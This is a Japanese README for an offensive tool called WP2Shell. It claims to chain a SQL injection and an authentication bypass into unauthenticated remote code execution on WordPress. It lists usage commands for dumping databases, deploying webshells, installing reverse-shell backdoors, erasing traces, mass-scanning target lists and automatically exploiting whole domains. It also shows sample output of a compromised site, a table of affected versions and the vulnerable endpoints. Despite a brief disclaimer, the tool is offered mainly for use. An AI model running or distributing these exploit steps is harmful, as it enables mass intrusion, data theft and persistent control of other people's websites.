
SQLインジェクションと認証バイパスを連鎖させ、リモートコード実行、インタラクティブシェル、バックドア、大規模な脆弱性スキャンを実現するモジュール式WordPress事前認証エクスプロイトフレームワーク。
CVE-2026-63030 + CVE-2026-60137
バージョン: 4.0.0
作者: G0D150NE
WP2Shell は、WordPress の事前認証リモートコード実行(RCE)のためのフルチェーンエクスプロイトツールです。このツールは、2 つの重大な脆弱性を組み合わせています:
このツールは、一切の認証なしで 脆弱な WordPress インストールの完全な侵害を可能にします。検出から完全な RCE、そして永続化までを実現します。
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
基本的なフィンガープリント:
python3 wp2shell.py read https://target.com
ユーザーの抽出:
python3 wp2shell.py read https://target.com --preset users
カスタムクエリ:
python3 wp2shell.py read https://target.com --query "SELECT @@version"
データベース全体のダンプ:
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
基本的な悪用:
python3 wp2shell.py exploit https://target.com
対話型シェルによる悪用:
python3 wp2shell.py exploit https://target.com --interactive
バックドアをインストールした悪用:
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
データベースをダンプする悪用:
python3 wp2shell.py exploit https://target.com --dumpdb
クリーンアップ付きの悪用(痕跡の削除):
python3 wp2shell.py exploit https://target.com --cleanup
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
これにより、次の処理が実行されます:
悪用後、完全な対話型シェルを利用できます:
python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
SQL インジェクション(CVE-2026-63030)
/wp-json/batch/v1 エンドポイントで発生author_exclude パラメータが時間ベースのブラインド SQLi に対して脆弱認証バイパス(CVE-2026-60137)
/_embed パラメータによる oEmbed キャッシュポイズニング░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered
[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]
[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain
[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
uid: www-data
[+] ========================================================
[+] TARGET COMPROMISED
[+] Admin: wp_service_a1b2 / G7hK9xQw2p$L!mN
[+] Shell: https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================
このツールは、認可されたセキュリティテストおよび教育目的のみ を対象としています。明示的な許可なくシステムに対して使用することは違法です。作者は、不正使用について一切の責任を負いません。
バグを発見しましたか? ツールを改善したいですか? プルリクエスト歓迎!
MIT ライセンス - 詳細は LICENSE ファイルを参照してください。
| コマンド | 説明 |
|---|
check | 非破壊の脆弱性確認 |
read | SQL インジェクションによるデータ抽出 |
exploit | 完全な事前認証 RCE チェーン |
shell | 既存の認証情報を使用してウェブシェルを展開 |
masscan | 複数ターゲットのマススキャン |
autopwn | 自動検出 → スキャン → 悪用 |
| オプション | 説明 |
|---|
--timeout | HTTP タイムアウト(秒単位、デフォルト: 30) |
--proxies | カンマ区切りのプロキシリスト(例: http://127.0.0.1:8080) |
--stealth | ランダムな遅延を伴うステルスモードを有効化 |
-v, --verbose | デバッグ出力を有効化 |
-q, --quiet | バナーと情報メッセージを抑制 |
| オプション | 説明 |
|---|
--prefix | テーブルプレフィックス(デフォルト: wp_) |
--auto-prefix | テーブルプレフィックスを自動検出 |
--max-length | 値あたりの最大文字数(デフォルト: 128) |
--technique | 抽出テクニック: auto/union/error/blind |
--preset | データプリセット: fingerprint/users/dumpall |
--query | 抽出する任意の SQL 式 |
| オプション | 説明 |
|---|
--prefix | テーブルプレフィックス(デフォルト: wp_) |
--no-discover | 自動検出をスキップしてデフォルトを使用 |
-i, --interactive | 悪用後に対話シェルに入る |
-c, --command | 悪用後に単一のコマンドを実行 |
--backdoor | 持続性バックドアをインストール |
--lhost | リバースシェル用の LHOST(デフォルト: 10.0.0.1) |
--lport | リバースシェル用の LPORT(デフォルト: 4444) |
--dumpdb | 悪用後にデータベースをダンプ |
--cleanup | 終了時に作成したユーザーとウェブシェルを削除 |
| バージョン | ステータス |
|---|
| 6.9.0 | ✅ 脆弱 |
| 6.9.1 | ✅ 脆弱 |
| 6.9.2 | ✅ 脆弱 |
| 6.9.3 | ✅ 脆弱 |
| 6.9.4 | ✅ 脆弱 |
| 7.0.0 | ✅ 脆弱 |
| 7.0.1 | ✅ 脆弱 |
| ≥ 7.0.2 | ❌ 修正済み |
| テクニック | 速度 | データサイズ | 条件 |
|---|
| UNION | ⚡ 非常に高速 | 無制限 | ターゲットが UNION をフィルタリングしていないこと |
| Error | 🚀 高速 | 約30文字/リクエスト | ターゲットがエラーメッセージを公開していること |
| Blind | 🐢 低速 | 無制限 | ブールオラクルが利用可能 |